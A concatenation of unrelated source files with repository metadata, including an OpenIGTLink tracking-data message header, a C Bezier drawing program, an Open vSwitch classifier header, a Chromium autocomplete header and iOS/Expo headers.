/*========================================================================= Program: The OpenIGTLink Library Language: C++ Web page: http://openigtlink.org/ Copyright (c) Insight Software Consortium. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #ifndef __igtlTrackingDataMessage_h #define __igtlTrackingDataMessage_h #include <vector> #include <string> #include "igtlObject.h" #include "igtlMath.h" #include "igtlMessageBase.h" #include "igtlTypes.h" namespace igtl { class IGTLCommon_EXPORT TrackingDataElement: public Object { public: typedef TrackingDataElement Self; typedef Object Superclass; typedef SmartPointer<Self> Pointer; typedef SmartPointer<const Self> ConstPointer; igtlTypeMacro(igtl::TrackingDataElement, igtl::Object); igtlNewMacro(igtl::TrackingDataElement); /// Tracking data type. /// TYPE_TRACKER: Tracker /// TYPE_6D: 6D instrument: (regular instrument) /// TYPE_3D: 3D instrument (only tip of the instrument defined) /// TYPE_5D: 5D instrument (tip and handle are defined, but not the normal vector) enum { TYPE_TRACKER = 1, TYPE_6D = 2, TYPE_3D = 3, TYPE_5D = 4, }; public: /// Sets the name of the instrument/tracker. int SetName(const char* name); /// Gets the name of the instrument/tracker. const char* GetName() { return this->m_Name.c_str(); }; /// Sets the type of the instrument/tracker. int SetType(igtlUint8 type); /// Gets the type of the instrument/tracker. igtlUint8 GetType() { return this->m_Type; }; /// Sets the position by 3-element array of x, y, and z coordinates. void SetPosition(float p[3]); /// Gets the position. The function substitutes 3-element array of x, y and z coordinates in 'p'. void GetPosition(float p[3]); /// Sets the position by x, y, and z coordinates. void SetPosition(float px, float py, float pz); /// Gets the position. The function substitutes the xyz coordinates in 'px', 'py', and 'pz'. void GetPosition(float* px, float* py, float* pz); /// Sets the 4-by-4 transformation matrix. void SetMatrix(Matrix4x4& mat); /// Gets the 4-by-4 transformation matrix. void GetMatrix(Matrix4x4& mat); protected: TrackingDataElement(); ~TrackingDataElement(); protected: /// Name / description (< 20 bytes std::string m_Name; /// Tracking data type (TYPE_TRACKER, TYPE_6D, TYPE_3D, TYPE_5D) igtlUint8 m_Type; /// Transform matrix Matrix4x4 m_Matrix; }; /// A class for the STT_TDATA message type. class IGTLCommon_EXPORT StartTrackingDataMessage: public MessageBase { public: typedef StartTrackingDataMessage Self; typedef MessageBase Superclass; typedef SmartPointer<Self> Pointer; typedef SmartPointer<const Self> ConstPointer; igtlTypeMacro(igtl::StartTrackingDataMessage, igtl::MessageBase); igtlNewMacro(igtl::StartTrackingDataMessage); public: /// Sets the time resolution for streaming of QTDATA messages void SetResolution(igtlInt32 res) { this->m_Resolution = res; }; // ms /// Gets the time resolution for streaming of QTDATA messages igtlInt32 GetResolution() { return this->m_Resolution; }; /// Sets the name of the coordinate system. The name must be defined by the user. int SetCoordinateName(const char* name); /// Gets the name of the coordinate system. const char* GetCoordinateName() { return this->m_CoordinateName.c_str(); }; protected: StartTrackingDataMessage(); ~StartTrackingDataMessage(); protected: virtual int CalculateContentBufferSize(); virtual int PackContent(); virtual int UnpackContent(); protected: /// Minimum time between two frames (ms). Use 0 for as fast as possible. igtlInt32 m_Resolution; /// Name of the coordinate system. std::string m_CoordinateName; }; /// A class for the STP_TDATA message type. class IGTLCommon_EXPORT StopTrackingDataMessage: public MessageBase { public: typedef StopTrackingDataMessage Self; typedef MessageBase Superclass; typedef SmartPointer<Self> Pointer; typedef SmartPointer<const Self> ConstPointer; igtlTypeMacro(igtl::StopTrackingDataMessage, igtl::MessageBase); igtlNewMacro(igtl::StopTrackingDataMessage); protected: StopTrackingDataMessage() : MessageBase() { this->m_SendMessageType = "STP_TDATA"; }; ~StopTrackingDataMessage() {}; protected: virtual int CalculateContentBufferSize() { return 0; }; virtual int PackContent() { AllocateBuffer(); return 1; }; virtual int UnpackContent() { return 1; }; }; /// A class for the RTS_TDATA message type. class IGTLCommon_EXPORT RTSTrackingDataMessage: public MessageBase { public: typedef RTSTrackingDataMessage Self; typedef MessageBase Superclass; typedef SmartPointer<Self> Pointer; typedef SmartPointer<const Self> ConstPointer; /// Status type enum { STATUS_SUCCESS = 0, STATUS_ERROR = 1 }; igtlTypeMacro(igtl::RTSTrackingDataMessage, igtl::MessageBase); igtlNewMacro(igtl::RTSTrackingDataMessage); /// Sets the status. 'status' must be either STATUS_SUCCESS or STATUS_ERROR. void SetStatus(igtlUint8 status){ this->m_Status = status; } /// Gets the status. The function returns either STATUS_SUCCESS or STATUS_ERROR. igtlUint8 GetStatus() { return this->m_Status; }; protected: RTSTrackingDataMessage() : MessageBase(), m_Status(0) { this->m_SendMessageType = "RTS_TDATA"; }; ~RTSTrackingDataMessage() {}; /// A variable to store the status. igtlUint8 m_Status; protected: virtual int CalculateContentBufferSize(); virtual int PackContent(); virtual int UnpackContent(); }; /// The TDATA message type is intended for transferring 3D positions of surgical tools, /// markers etc. Those positions are often measured by optical, electromagnetic or other /// type of 3D position sensor continuously and transferred as series of messages. /// Since it is important for software that receives TDATA to control data flow, /// STT_TDATA query data type has interval field to control the frame rate of consecutive messages. class IGTLCommon_EXPORT TrackingDataMessage: public MessageBase { public: typedef TrackingDataMessage Self; typedef MessageBase Superclass; typedef SmartPointer<Self> Pointer; typedef SmartPointer<const Self> ConstPointer; igtlTypeMacro(igtl::TrackingDataMessage, igtl::MessageBase); igtlNewMacro(igtl::TrackingDataMessage); public: /// Adds tracking data element. int AddTrackingDataElement(TrackingDataElement::Pointer& elem); /// Clears the all tracking data element in the list. void ClearTrackingDataElements(); /// Gets the number of tracking data elements in the list. int GetNumberOfTrackingDataElements(); inline int GetNumberOfTrackingDataElement() { return GetNumberOfTrackingDataElements(); }; // will be removed. /// Gets the tracking data element specified by 'index'. void GetTrackingDataElement(int index, TrackingDataElement::Pointer& elem); protected: TrackingDataMessage(); ~TrackingDataMessage(); protected: virtual int CalculateContentBufferSize(); virtual int PackContent(); virtual int UnpackContent(); /// The list of tracking data elements. std::vector<TrackingDataElement::Pointer> m_TrackingDataList; }; } // namespace igtl #endif // _igtlTrackingDataMessage_h
30.503817
113
0.686562
c882eea256eef1914b24b2454bfc1143d96bbc49
843
c
C
2018-2019/Zima/Analiza Numeryczna L/bez.c
ldept/University
f5ec29dd1daa1c9dc2d1592c0ddab575146e80ee
[ "FTL" ]
null
null
null
2018-2019/Zima/Analiza Numeryczna L/bez.c
ldept/University
f5ec29dd1daa1c9dc2d1592c0ddab575146e80ee
[ "FTL" ]
null
null
null
2018-2019/Zima/Analiza Numeryczna L/bez.c
ldept/University
f5ec29dd1daa1c9dc2d1592c0ddab575146e80ee
[ "FTL" ]
null
null
null
#include <stdio.h> #include <stdlib.h> #include <graphics.h> #include <math.h> void bezier (int x[4], int y[4]) { int gd = DETECT, gm; int i; double t; initgraph (&gd, &gm, "..\\bgi"); for (t = 0.0; t < 1.0; t += 0.0005) { double xt = pow (1-t, 3) * x[0] + 3 * t * pow (1-t, 2) * x[1] + 3 * pow (t, 2) * (1-t) * x[2] + pow (t, 3) * x[3]; double yt = pow (1-t, 3) * y[0] + 3 * t * pow (1-t, 2) * y[1] + 3 * pow (t, 2) * (1-t) * y[2] + pow (t, 3) * y[3]; putpixel (xt, yt, WHITE); } for (i=0; i<4; i++) putpixel (x[i], y[i], YELLOW); getch(); closegraph(); return; } void main() { int x[4], y[4]; int i; printf ("Enter the x- and y-coordinates of the four control points.\n"); for (i=0; i<4; i++) scanf ("%d%d", &x[i], &y[i]); bezier (x, y); }
19.159091
76
0.449585
c88e53c8fc5c54de08c7931c1c41f8e7328e421f
16,582
h
C
lib/classifier-private.h
wenxueliu/ovs_note
de457b87ccdf06881529b73f9daa99941f0a8401
[ "Apache-2.0" ]
null
null
null
lib/classifier-private.h
wenxueliu/ovs_note
de457b87ccdf06881529b73f9daa99941f0a8401
[ "Apache-2.0" ]
null
null
null
lib/classifier-private.h
wenxueliu/ovs_note
de457b87ccdf06881529b73f9daa99941f0a8401
[ "Apache-2.0" ]
null
null
null
/* * Copyright (c) 2014, 2015 Nicira, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef CLASSIFIER_PRIVATE_H #define CLASSIFIER_PRIVATE_H 1 #include "cmap.h" #include "flow.h" #include "hash.h" #include "rculist.h" #include "tag.h" /* Classifier internal definitions, subject to change at any time. */ /* A set of rules that all have the same fields wildcarded. */ struct cls_subtable { struct cmap_node cmap_node; /* Within classifier's 'subtables_map'. */ /* These fields are only used by writers. */ int max_priority; /* Max priority of any rule in subtable. */ unsigned int max_count; /* Count of max_priority rules. */ /* Accessed by iterators. */ struct rculist rules_list; /* Unordered. */ /* Identical, but lower priority rules are not inserted to any of the * following data structures. */ /* These fields are accessed by readers who care about wildcarding. */ const tag_type tag; /* Tag generated from mask for partitioning. */ const uint8_t n_indices; /* How many indices to use. */ const uint8_t index_ofs[CLS_MAX_INDICES]; /* u64 segment boundaries. */ unsigned int trie_plen[CLS_MAX_TRIES]; /* Trie prefix length in 'mask' * (runtime configurable). */ const int ports_mask_len; struct cmap indices[CLS_MAX_INDICES]; /* Staged lookup indices. */ rcu_trie_ptr ports_trie; /* NULL if none. */ /* These fields are accessed by all readers. */ struct cmap rules; /* Contains 'cls_match'es. */ const struct minimask mask; /* Wildcards for fields. */ /* 'mask' must be the last field. */ }; /* Associates a metadata value (that is, a value of the OpenFlow 1.1+ metadata * field) with tags for the "cls_subtable"s that contain rules that match that * metadata value. */ struct cls_partition { struct cmap_node cmap_node; /* In struct classifier's 'partitions' map. */ ovs_be64 metadata; /* metadata value for this partition. */ tag_type tags; /* OR of each flow's cls_subtable tag. */ struct tag_tracker tracker; /* Tracks the bits in 'tags'. */ }; /* Internal representation of a rule in a "struct cls_subtable". * * The 'next' member is an element in a singly linked, null-terminated list. * This list links together identical "cls_match"es in order of decreasing * priority. The classifier code maintains the invariant that at most one rule * of a given priority is visible for any given lookup version. */ struct cls_match { /* Accessed by everybody. */ OVSRCU_TYPE(struct cls_match *) next; /* Equal, lower-priority matches. */ OVSRCU_TYPE(struct cls_conjunction_set *) conj_set; /* Accessed only by writers. */ struct cls_partition *partition; /* Accessed by readers interested in wildcarding. */ const int priority; /* Larger numbers are higher priorities. */ struct cmap_node index_nodes[CLS_MAX_INDICES]; /* Within subtable's * 'indices'. */ /* Accessed by all readers. */ struct cmap_node cmap_node; /* Within struct cls_subtable 'rules'. */ /* Rule versioning. * * CLS_NOT_REMOVED_VERSION has a special meaning for 'remove_version', * meaningthat the rule has been added but not yet removed. */ const cls_version_t add_version; /* Version rule was added in. */ ATOMIC(cls_version_t) remove_version; /* Version rule is removed in. */ const struct cls_rule *cls_rule; const struct miniflow flow; /* Matching rule. Mask is in the subtable. */ /* 'flow' must be the last field. */ }; /* Must be RCU postponed. */ void cls_match_free_cb(struct cls_match *); static inline void cls_match_set_remove_version(struct cls_match *rule, cls_version_t version) { atomic_store_relaxed(&rule->remove_version, version); } //返回 rule->add_version <= version < rule->remove_version; static inline bool cls_match_visible_in_version(const struct cls_match *rule, cls_version_t version) { cls_version_t remove_version; /* C11 does not want to access an atomic via a const object pointer. */ atomic_read_relaxed(&CONST_CAST(struct cls_match *, rule)->remove_version, &remove_version); return rule->add_version <= version && version < remove_version; } static inline bool cls_match_is_eventually_invisible(const struct cls_match *rule) { cls_version_t remove_version; /* C11 does not want to access an atomic via a const object pointer. */ atomic_read_relaxed(&CONST_CAST(struct cls_match *, rule)->remove_version, &remove_version); return remove_version <= CLS_MAX_VERSION; } /* cls_match 'next' */ static inline const struct cls_match * cls_match_next(const struct cls_match *rule) { return ovsrcu_get(struct cls_match *, &rule->next); } static inline struct cls_match * cls_match_next_protected(const struct cls_match *rule) { return ovsrcu_get_protected(struct cls_match *, &rule->next); } /* Puts 'rule' in the position between 'prev' and 'next'. If 'prev' == NULL, * then the 'rule' is the new list head, and if 'next' == NULL, the rule is the * new list tail. * If there are any nodes between 'prev' and 'next', they are dropped from the * list. */ static inline void cls_match_insert(struct cls_match *prev, struct cls_match *next, struct cls_match *rule) { ovsrcu_set_hidden(&rule->next, next); if (prev) { ovsrcu_set(&prev->next, rule); } } /* Puts 'new_rule' in the position of 'old_rule', which is the next node after * 'prev'. If 'prev' == NULL, then the 'new_rule' is the new list head. * * The replaced cls_match still links to the later rules, and may still be * referenced by other threads until all other threads quiesce. The replaced * rule may not be re-inserted, re-initialized, or deleted until after all * other threads have quiesced (use ovsrcu_postpone). */ static inline void cls_match_replace(struct cls_match *prev, struct cls_match *old_rule, struct cls_match *new_rule) { cls_match_insert(prev, cls_match_next_protected(old_rule), new_rule); } /* Removes 'rule' following 'prev' from the list. If 'prev' is NULL, then the * 'rule' is a list head, and the caller is responsible for maintaining its * list head pointer (if any). * * Afterward, the removed rule is not linked to any more, but still links to * the following rules, and may still be referenced by other threads until all * other threads quiesce. The removed rule may not be re-inserted, * re-initialized, or deleted until after all other threads have quiesced (use * ovsrcu_postpone). */ static inline void cls_match_remove(struct cls_match *prev, struct cls_match *rule) { if (prev) { ovsrcu_set(&prev->next, cls_match_next_protected(rule)); } } #define CLS_MATCH_FOR_EACH(ITER, HEAD) \ for ((ITER) = (HEAD); (ITER); (ITER) = cls_match_next(ITER)) #define CLS_MATCH_FOR_EACH_AFTER_HEAD(ITER, HEAD) \ CLS_MATCH_FOR_EACH(ITER, cls_match_next(HEAD)) /* Iterate cls_matches keeping the previous pointer for modifications. */ #define FOR_EACH_RULE_IN_LIST_PROTECTED(ITER, PREV, HEAD) \ for ((PREV) = NULL, (ITER) = (HEAD); \ (ITER); \ (PREV) = (ITER), (ITER) = cls_match_next_protected(ITER)) /* A longest-prefix match tree. */ struct trie_node { uint32_t prefix; /* Prefix bits for this node, MSB first. */ uint8_t n_bits; /* Never zero, except for the root node. */ unsigned int n_rules; /* Number of rules that have this prefix. */ rcu_trie_ptr edges[2]; /* Both NULL if leaf. */ }; /* Max bits per node. Must fit in struct trie_node's 'prefix'. * Also tested with 16, 8, and 5 to stress the implementation. */ #define TRIE_PREFIX_BITS 32 /* flow/miniflow/minimask/minimatch utilities. * These are only used by the classifier, so place them here to allow * for better optimization. */ /* Initializes 'map->tnl_map' and 'map->pkt_map' with a subset of 'miniflow' * that includes only the portions with u64-offset 'i' such that start <= i < * end. Does not copy any data from 'miniflow' to 'map'. * * TODO: Ensure that 'start' and 'end' are compile-time constants. */ static inline unsigned int /* offset */ miniflow_get_map_in_range(const struct miniflow *miniflow, uint8_t start, uint8_t end, struct miniflow *map) { unsigned int offset = 0; map->tnl_map = miniflow->tnl_map; map->pkt_map = miniflow->pkt_map; if (start >= FLOW_TNL_U64S) { offset += count_1bits(map->tnl_map); map->tnl_map = 0; if (start > FLOW_TNL_U64S) { /* Clear 'start - FLOW_TNL_U64S' LSBs from pkt_map. */ start -= FLOW_TNL_U64S; uint64_t msk = (UINT64_C(1) << start) - 1; offset += count_1bits(map->pkt_map & msk); map->pkt_map &= ~msk; } } else if (start > 0) { /* Clear 'start' LSBs from tnl_map. */ uint64_t msk = (UINT64_C(1) << start) - 1; offset += count_1bits(map->tnl_map & msk); map->tnl_map &= ~msk; } if (end <= FLOW_TNL_U64S) { map->pkt_map = 0; if (end < FLOW_TNL_U64S) { /* Keep 'end' LSBs in tnl_map. */ map->tnl_map &= (UINT64_C(1) << end) - 1; } } else { if (end < FLOW_U64S) { /* Keep 'end - FLOW_TNL_U64S' LSBs in pkt_map. */ map->pkt_map &= (UINT64_C(1) << (end - FLOW_TNL_U64S)) - 1; } } return offset; } /* Returns a hash value for the bits of 'flow' where there are 1-bits in * 'mask', given 'basis'. * * The hash values returned by this function are the same as those returned by * miniflow_hash_in_minimask(), only the form of the arguments differ. */ static inline uint32_t flow_hash_in_minimask(const struct flow *flow, const struct minimask *mask, uint32_t basis) { const uint64_t *mask_values = miniflow_get_values(&mask->masks); const uint64_t *flow_u64 = (const uint64_t *)flow; const uint64_t *p = mask_values; uint32_t hash; size_t idx; hash = basis; MAP_FOR_EACH_INDEX(idx, mask->masks.tnl_map) { hash = hash_add64(hash, flow_u64[idx] & *p++); } flow_u64 += FLOW_TNL_U64S; MAP_FOR_EACH_INDEX(idx, mask->masks.pkt_map) { hash = hash_add64(hash, flow_u64[idx] & *p++); } return hash_finish(hash, (p - mask_values) * 8); } /* Returns a hash value for the bits of 'flow' where there are 1-bits in * 'mask', given 'basis'. * * The hash values returned by this function are the same as those returned by * flow_hash_in_minimask(), only the form of the arguments differ. */ static inline uint32_t miniflow_hash_in_minimask(const struct miniflow *flow, const struct minimask *mask, uint32_t basis) { const uint64_t *mask_values = miniflow_get_values(&mask->masks); const uint64_t *p = mask_values; uint32_t hash = basis; uint64_t flow_u64; MINIFLOW_FOR_EACH_IN_TNL_MAP(flow_u64, flow, mask->masks) { hash = hash_add64(hash, flow_u64 & *p++); } MINIFLOW_FOR_EACH_IN_PKT_MAP(flow_u64, flow, mask->masks) { hash = hash_add64(hash, flow_u64 & *p++); } return hash_finish(hash, (p - mask_values) * 8); } /* Returns a hash value for the bits of range [start, end) in 'flow', * where there are 1-bits in 'mask', given 'hash'. * * The hash values returned by this function are the same as those returned by * minimatch_hash_range(), only the form of the arguments differ. */ static inline uint32_t flow_hash_in_minimask_range(const struct flow *flow, const struct minimask *mask, uint8_t start, uint8_t end, uint32_t *basis) { const uint64_t *mask_values = miniflow_get_values(&mask->masks); const uint64_t *flow_u64 = (const uint64_t *)flow; unsigned int offset; struct miniflow map; const uint64_t *p; uint32_t hash = *basis; size_t idx; offset = miniflow_get_map_in_range(&mask->masks, start, end, &map); p = mask_values + offset; MAP_FOR_EACH_INDEX(idx, map.tnl_map) { hash = hash_add64(hash, flow_u64[idx] & *p++); } flow_u64 += FLOW_TNL_U64S; MAP_FOR_EACH_INDEX(idx, map.pkt_map) { hash = hash_add64(hash, flow_u64[idx] & *p++); } *basis = hash; /* Allow continuation from the unfinished value. */ return hash_finish(hash, (p - mask_values) * 8); } /* Fold minimask 'mask''s wildcard mask into 'wc's wildcard mask. */ static inline void flow_wildcards_fold_minimask(struct flow_wildcards *wc, const struct minimask *mask) { flow_union_with_miniflow(&wc->masks, &mask->masks); } /* Fold minimask 'mask''s wildcard mask into 'wc's wildcard mask * in range [start, end). */ static inline void flow_wildcards_fold_minimask_range(struct flow_wildcards *wc, const struct minimask *mask, uint8_t start, uint8_t end) { const uint64_t *p = miniflow_get_values(&mask->masks); uint64_t *dst_u64 = (uint64_t *)&wc->masks; struct miniflow map; size_t idx; p += miniflow_get_map_in_range(&mask->masks, start, end, &map); MAP_FOR_EACH_INDEX(idx, map.tnl_map) { dst_u64[idx] |= *p++; } dst_u64 += FLOW_TNL_U64S; MAP_FOR_EACH_INDEX(idx, map.pkt_map) { dst_u64[idx] |= *p++; } } /* Returns a hash value for 'flow', given 'basis'. */ static inline uint32_t miniflow_hash(const struct miniflow *flow, uint32_t basis) { const uint64_t *values = miniflow_get_values(flow); const uint64_t *p = values; uint32_t hash = basis; uint64_t hash_tnl_map = 0, hash_pkt_map = 0; uint64_t map; for (map = flow->tnl_map; map; map = zero_rightmost_1bit(map)) { if (*p) { hash = hash_add64(hash, *p); hash_tnl_map |= rightmost_1bit(map); } p++; } for (map = flow->pkt_map; map; map = zero_rightmost_1bit(map)) { if (*p) { hash = hash_add64(hash, *p); hash_pkt_map |= rightmost_1bit(map); } p++; } hash = hash_add64(hash, hash_tnl_map); hash = hash_add64(hash, hash_pkt_map); return hash_finish(hash, p - values); } /* Returns a hash value for 'mask', given 'basis'. */ static inline uint32_t minimask_hash(const struct minimask *mask, uint32_t basis) { return miniflow_hash(&mask->masks, basis); } /* Returns a hash value for 'match', given 'basis'. */ static inline uint32_t minimatch_hash(const struct minimatch *match, uint32_t basis) { return miniflow_hash(match->flow, minimask_hash(match->mask, basis)); } /* Returns a hash value for the bits of range [start, end) in 'minimatch', * given 'basis'. * * The hash values returned by this function are the same as those returned by * flow_hash_in_minimask_range(), only the form of the arguments differ. */ static inline uint32_t minimatch_hash_range(const struct minimatch *match, uint8_t start, uint8_t end, uint32_t *basis) { const uint64_t *p = miniflow_get_values(match->flow); const uint64_t *q = miniflow_get_values(&match->mask->masks); unsigned int offset; struct miniflow map; uint32_t hash = *basis; int n, i; offset = miniflow_get_map_in_range(&match->mask->masks, start, end, &map); n = miniflow_n_values(&map); q += offset; p += offset; for (i = 0; i < n; i++) { hash = hash_add64(hash, p[i] & q[i]); } *basis = hash; /* Allow continuation from the unfinished value. */ return hash_finish(hash, (offset + n) * 8); } #endif
35.660215
79
0.651912
da039b92678eaae01e33032f73b0a116f3783df4
1,653
h
C
chrome/browser/autocomplete/history_provider.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2019-01-16T03:57:39.000Z
2019-01-16T03:57:39.000Z
chrome/browser/autocomplete/history_provider.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2018-02-10T21:00:08.000Z
2018-03-20T05:09:50.000Z
chrome/browser/autocomplete/history_provider.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_AUTOCOMPLETE_HISTORY_PROVIDER_H_ #define CHROME_BROWSER_AUTOCOMPLETE_HISTORY_PROVIDER_H_ #include "base/compiler_specific.h" #include "chrome/browser/autocomplete/autocomplete_provider.h" #include "chrome/browser/history/in_memory_url_index_types.h" class AutocompleteInput; class Profile; struct AutocompleteMatch; // This class is a base class for the history autocomplete providers and // provides functions useful to all derived classes. class HistoryProvider : public AutocompleteProvider { public: virtual void DeleteMatch(const AutocompleteMatch& match) OVERRIDE; // Returns true if inline autocompletion should be prevented for URL-like // input. This method returns true if input.prevent_inline_autocomplete() // is true or the input text contains trailing whitespace. static bool PreventInlineAutocomplete(const AutocompleteInput& input); protected: HistoryProvider(Profile* profile, AutocompleteProvider::Type type); virtual ~HistoryProvider(); // Finds and removes the match from the current collection of matches and // backing data. void DeleteMatchFromMatches(const AutocompleteMatch& match); // Fill and return an ACMatchClassifications structure given the |matches| // to highlight. static ACMatchClassifications SpansFromTermMatch( const history::TermMatches& matches, size_t text_length, bool is_url); Profile* profile_; }; #endif // CHROME_BROWSER_AUTOCOMPLETE_HISTORY_PROVIDER_H_
35.934783
76
0.795523
0846dc2bdf7190a732223e087fca8476078cb939
248
c
C
arraywith_index.c
pradhumn007/c-code
03fec42983590c4678cff4895eb776a2d10f314c
[ "MIT" ]
null
null
null
arraywith_index.c
pradhumn007/c-code
03fec42983590c4678cff4895eb776a2d10f314c
[ "MIT" ]
null
null
null
arraywith_index.c
pradhumn007/c-code
03fec42983590c4678cff4895eb776a2d10f314c
[ "MIT" ]
null
null
null
#include<stdio.h> int main() { int i, a[5]={}; printf("enter 5 number\n"); for(i=0;i<5;++i){ scanf("%d",&a[i]); } for(i=0;i<5;++i){ printf("number of index a[%d]=%d\n",i,a[i]); } return 0; }
17.714286
53
0.41129
bd4eca8bb20e7449bdf060e4dc627e099f4f0aa8
3,884
h
C
include/GreenThumbFrame.h
captain-igloo/greenthumb
39d62004e6f6b6fa7da52b3f6ff1c198b04e1d72
[ "MIT" ]
3
2019-04-08T19:17:51.000Z
2019-05-21T01:01:29.000Z
include/GreenThumbFrame.h
captain-igloo/greenthumb
39d62004e6f6b6fa7da52b3f6ff1c198b04e1d72
[ "MIT" ]
1
2019-04-30T23:39:06.000Z
2019-07-27T00:07:20.000Z
include/GreenThumbFrame.h
captain-igloo/greenthumb
39d62004e6f6b6fa7da52b3f6ff1c198b04e1d72
[ "MIT" ]
1
2019-02-28T09:22:18.000Z
2019-02-28T09:22:18.000Z
/** * Copyright 2019 Colin Doig. Distributed under the MIT license. */ #ifndef GREENTOPFRAME_H #define GREENTOPFRAME_H #include <greentop/LRUCache.h> #include <map> #include <string> #include <wx/wx.h> #include <wx/frame.h> #include <wx/panel.h> #include <wx/splitter.h> #include "entity/Market.h" #include "AccountPanel.h" #include "EventTree.h" #include "MarketPanels.h" namespace greenthumb { /** * The main frame. */ class GreenThumbFrame : public wxFrame { public: /** * Constructor. */ GreenThumbFrame(); /** * Open the login dialog */ void Login(); private: const static wxString VIEW_ACCOUNT; const static wxString VIEW_BETTING; const static uint32_t MAX_SESSION_AGE_SECONDS; /** Displays the betfair events and markets. */ EventTree* eventTree = NULL; /** Displays market prices. */ MarketPanels* marketsPanel = NULL; /** Displays the user's account statement. */ AccountPanel* accountPanel = NULL; /** Displays the event / market navigation on the left and market prices on the right. */ wxSplitterWindow* bettingPanel = NULL; /** The current view, either account or betting. */ wxString mainView; /** Manages the GetAccountDetails worker */ worker::WorkerManager workerManager; /** Caches betfair market catalogues. */ greentop::LRUCache<std::string, entity::Market> betfairMarkets; /** * Creates the menu and sets up event handlers. */ void CreateMenuBar(); /** * File / Login handler - opens the login dialog. * * @param menuEvent The menu event. */ void OnMenuFileLogin(const wxCommandEvent& menuEvent); /** * File / Logout handler - logs out from betfair. * * @param menuEvent The menu event. */ void OnMenuFileLogout(const wxCommandEvent& menuEvent); /** * File / Refresh menu handler - download event / market tree from betfair and sync display. * * @param menuEvent The menu event. */ void OnMenuFileRefreshMenu(const wxCommandEvent& menuEvent); /** * File / Settings handler - open settings dialog. * * @param menuEvent The menu event. */ void OnMenuFileSettings(const wxCommandEvent& menuEvent); /** * File / Exit handler - exit the application. * * @param menuEvent The menu event. */ void OnMenuFileExit(const wxCommandEvent& menuEvent); /** * View / Account handler - switch to account view. * * @param menuEvent The menu event. */ void OnMenuViewAccount(const wxCommandEvent& menuEvent); /** * View / Betting handler - switch to betting view. * * @param menuEvent The menu event. */ void OnMenuViewBetting(const wxCommandEvent& menuEvent); /** * Help / About handler - open help/about dialog. * * @param menuEvent The menu event. */ void OnMenuHelpAbout(const wxCommandEvent& menuEvent); /** * Open market when the user double clicks on a market in the tree. * * @param treeEvent The tree event. */ void OnItemActivated(const wxTreeEvent& treeEvent); /** * Cache market catalogue(s) and update display. * * @param event The worker event. */ void OnListMarketCatalogue(const wxThreadEvent& event); /** * Opens login dialog. */ void OpenLoginDialog(); DECLARE_NO_COPY_CLASS(GreenThumbFrame) }; } #endif // GREENTOPFRAME_H
26.243243
100
0.581874
ae75ffe6e12fa557e77ec3a70c0be960bb771d57
952
h
C
usr/libexec/identityservicesd/IDSSocketPairConnectionDelegate-Protocol.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
5
2021-04-29T04:31:43.000Z
2021-08-19T18:59:58.000Z
usr/sbin/usr/libexec/identityservicesd/IDSSocketPairConnectionDelegate-Protocol.h
lechium/tvOS144Headers
e22dcf52662ae03002e3a6d57273f54e74013cb0
[ "MIT" ]
null
null
null
usr/sbin/usr/libexec/identityservicesd/IDSSocketPairConnectionDelegate-Protocol.h
lechium/tvOS144Headers
e22dcf52662ae03002e3a6d57273f54e74013cb0
[ "MIT" ]
1
2022-03-19T11:16:23.000Z
2022-03-19T11:16:23.000Z
// // Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20). // // Copyright (C) 1997-2019 Steve Nygard. // #import "NSObject-Protocol.h" @class IDSSocketPairConnection, IDSSocketPairMessage, NSData; @protocol IDSSocketPairConnectionDelegate <NSObject> @optional - (void)connectionBecameEmpty; - (void)connectionDidClose; - (void)didReceiveDataMessage:(IDSSocketPairMessage *)arg1; - (void)connectionDidReceiveBytes:(IDSSocketPairConnection *)arg1; - (void)connectionBecameEmpty:(IDSSocketPairConnection *)arg1; - (void)connectionDidClose:(IDSSocketPairConnection *)arg1; - (void)connectionDidReachInFlightMessageLowWaterMark:(IDSSocketPairConnection *)arg1; - (void)connection:(IDSSocketPairConnection *)arg1 didReceiveDataMessage:(IDSSocketPairMessage *)arg2; - (void)connection:(IDSSocketPairConnection *)arg1 didReceiveData:(NSData *)arg2 withIdentifier:(unsigned int)arg3; @end
38.08
120
0.798319
ae789da77a73c6ecf8dcb4721b968b951cbb97d0
528
h
C
packages/expo-print/ios/EXPrint/EXWKViewPrintPDFRenderer.h
zakharchenkoAndrii/expo
f6b009d204b9124d43df59b75eb6affc2f0ba5bd
[ "Apache-2.0", "MIT" ]
1
2022-03-04T17:41:50.000Z
2022-03-04T17:41:50.000Z
packages/expo-print/ios/EXPrint/EXWKViewPrintPDFRenderer.h
zakharchenkoAndrii/expo
f6b009d204b9124d43df59b75eb6affc2f0ba5bd
[ "Apache-2.0", "MIT" ]
6
2020-08-06T12:31:23.000Z
2021-02-05T12:47:10.000Z
packages/expo-print/ios/EXPrint/EXWKViewPrintPDFRenderer.h
zakharchenkoAndrii/expo
f6b009d204b9124d43df59b75eb6affc2f0ba5bd
[ "Apache-2.0", "MIT" ]
3
2021-11-11T12:26:42.000Z
2022-03-16T17:48:58.000Z
